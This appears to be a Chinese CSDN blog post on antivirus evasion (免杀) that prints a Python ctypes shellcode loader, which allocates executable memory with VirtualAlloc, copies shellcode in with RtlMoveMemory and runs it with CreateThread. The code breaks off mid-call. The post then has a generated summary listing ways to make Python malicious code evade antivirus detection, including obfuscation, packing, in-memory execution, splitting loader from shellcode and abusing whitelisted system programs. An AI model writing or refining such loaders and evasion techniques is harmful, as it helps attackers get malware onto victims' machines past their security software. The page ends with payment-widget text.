免杀专题(二)loader编写以python为例

本文介绍了如何使用Python的ctypes库编写loader,以实现免杀功能。通过调用Windows API,如VirtualAlloc申请内存,RtlMoveMemory复制shellcode,CreateThread创建执行线程,以及WaitForSingleObject监控线程状态,确保shellcode持续运行。最终,通过py2exe打包,成功实现了loader的运行。
摘要由CSDN通过智能技术生成

免杀专题(二)loader编写以python为例

先贴代码

import ctypes

#shellcode加载
def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                              ctypes.c_int(len(shellcode)), 												  ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    
    
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     		  buf,
                                              ctypes.c_int(len(shellcode)))
    
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0)
Python免杀是指在编写Python恶意代码时,通过一系列技术手段绕过杀毒软件的检测和阻止。在进行Python免杀时,可以采取多种常用的静态免杀技术,如特征码定位修改、填充花指令、文件加壳、内存执行、shellcode混淆、shellcode和loader分离、木马资源修改和调用系统白名单等。这些技术可以帮助我们在编写Python恶意代码时避免被杀毒软件检测到。 其中,特征码定位修改是指通过修改代码中的特征码或者特征码的位置,使得杀毒软件无法识别恶意代码。填充花指令是在代码中插入一些无实际功能的指令,以混淆代码结构,增加杀毒软件的分析难度。文件加壳是将恶意代码嵌入到其他可信的文件中,以绕过杀毒软件的检测。内存执行是将恶意代码直接加载到内存中执行,避免了被杀毒软件静态检测的可能。shellcode混淆是通过对shellcode进行变形或加密,使其难以被杀毒软件识别。shellcode和loader分离是将shellcode和加载器分离,使得杀毒软件难以检测到完整的恶意代码。木马资源修改是通过修改恶意代码所依赖的资源文件或者库文件,绕过杀毒软件的检测。调用系统白名单是指利用操作系统的合法功能或者系统自带的程序来执行恶意代码,使其被认为是正常行为而不被杀毒软件拦截。 需要注意的是,不同语言的shellcode和loader免杀效果上有所差异,而Python免杀中的效果相对较好。此外,选择小众语言和不同的exe打包器也可以提高免杀效果。同时,在编写Python恶意代码时,尽量避免使用敏感词汇,以降低被杀毒软件查杀的概率。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值